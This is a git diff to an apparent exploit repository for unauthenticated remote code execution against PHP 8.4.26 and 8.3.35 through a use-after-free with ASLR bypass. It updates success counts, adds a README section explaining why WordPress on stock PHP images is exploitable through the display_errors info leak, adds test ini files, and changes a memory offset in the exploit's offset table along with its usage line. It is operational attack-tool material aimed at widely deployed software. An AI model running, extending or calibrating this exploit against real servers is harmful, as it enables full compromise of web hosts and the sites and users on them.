diff --git a/uaf-rce/README.md b/uaf-rce/README.md index 098560f..4a2cc46 100644 --- a/uaf-rce/README.md +++ b/uaf-rce/README.md @@ -20,9 +20,9 @@ Full remote code execution (arbitrary command) from a single unauthenticated HTTP client, against any PHP-handled URL, with full ASLR bypass. The target page does not need `session_start()` or any specific code. -Tested: 4/4 successful RCE against stock `php:8.4.26-apache` Docker image +Tested: 5/5 successful RCE against stock `php:8.4.26-apache` Docker image with zero configuration changes (`memory_limit=128M`, `post_max_size=8M`, -`display_errors=STDOUT`, `MaxRequestWorkers=150`). +`display_errors=On`, `MaxRequestWorkers=150`). ## Prerequisites @@ -188,9 +188,36 @@ docker run -d --name stock -p 8093:80 php:8.4.26-apache ``` The exploit has been tested on: -- `php:8.4.26-apache` stock Docker image, 4/4 RCE (default settings) +- `php:8.4.26-apache` stock Docker image, 5/5 RCE (default settings) - `php:8.4.26-apache` with single worker + `memory_limit=8M`, 9/9 RCE -- `php:8.3.35-apache` stock Docker image (offsets in DB) +- `php:8.3.35-apache` stock Docker image (stages 1+2 confirmed, stage 3 calibrating) + +## display_errors and WordPress + +The exploit's info leak (stages 1 and 2) relies on `display_errors = On`. +The `max_input_vars` warning must produce visible output to set +`SG(headers_sent) = 1` before the session cookie attempt, which causes +`php_session_send_cookie()` to fail and leaves `PS(send_cookie) = 1` for +the next request's leak. + +With `display_errors = Off`, the warning is logged but produces no output. +The session cookie succeeds, `PS(send_cookie)` resets to 0, and no leak +cookie is emitted on the subsequent request. + +**Why stock PHP is still vulnerable**: PHP's compile-time default for +`display_errors` is `On`. Stock Docker images (`php:*-apache`) ship +without a `php.ini`, so the default applies. Only when a system +administrator deploys `php.ini-production` (which sets `display_errors = Off`) +or adds explicit INI configuration is the target hardened against this leak. + +**WordPress**: WordPress calls `ini_set('display_errors', 0)` at runtime +in `wp-settings.php`. This `ini_set` executes during script startup, which +is AFTER multipart POST parsing (where the OOM and session leak occur). +Therefore, WordPress installed on a stock PHP image (no `php.ini`) +is vulnerable, because `display_errors` is still `On` at the time the +exploit code path runs. The official `wordpress:*` Docker images ship +a custom `error-logging.ini` that sets `display_errors = Off` at the INI +level, which does block the leak. ## References diff --git a/uaf-rce/docker/php-deoff-8m.ini b/uaf-rce/docker/php-deoff-8m.ini new file mode 100644 index 0000000..b3c6567 --- /dev/null +++ b/uaf-rce/docker/php-deoff-8m.ini @@ -0,0 +1,5 @@ +display_errors = Off +memory_limit = 8M +session.upload_progress.enabled = 1 +session.upload_progress.cleanup = 1 +max_input_vars = 1000 diff --git a/uaf-rce/docker/php-deoff.ini b/uaf-rce/docker/php-deoff.ini new file mode 100644 index 0000000..5989cd6 --- /dev/null +++ b/uaf-rce/docker/php-deoff.ini @@ -0,0 +1,5 @@ +display_errors = Off +memory_limit = 128M +session.upload_progress.enabled = 1 +session.upload_progress.cleanup = 1 +max_input_vars = 1000 diff --git a/uaf-rce/rce_exploit.py b/uaf-rce/rce_exploit.py index 471863f..1240847 100644 --- a/uaf-rce/rce_exploit.py +++ b/uaf-rce/rce_exploit.py @@ -34,9 +34,13 @@ Requirements on the target: the exploit needs A and B requests to hit the same worker process) - Any PHP-handled URL (no session_start() needed on the page) -Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success +Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 5/5 RCE with stock settings (memory_limit=128M, post_max_size=8M). -Based on research from 9bie/php2shell-bypass-aslr-exp. + +WordPress: vulnerable when installed on stock PHP (no php.ini), because + WordPress's ini_set('display_errors', 0) runs AFTER multipart parsing. + The official wordpress:* Docker images set display_errors=Off at the INI + level, which blocks the info leak. See README for details. Usage: python3 rce_exploit.py -u http://target/index.php # auto-detect @@ -114,7 +118,7 @@ OFFSET_DB: dict[tuple[str, str], dict[str, int]] = { ("8.3.35", "bookworm"): { "ZIF_OFFSET": 0x3ac080, "DTOR_OFFSET": 0x49ec50, - "HTDATA_OFFSET": 0x690D8, + "HTDATA_OFFSET": 0x700D8, "profile": "bookworm", }, # Official php:8.4.27-apache (Debian bookworm) -- PATCHED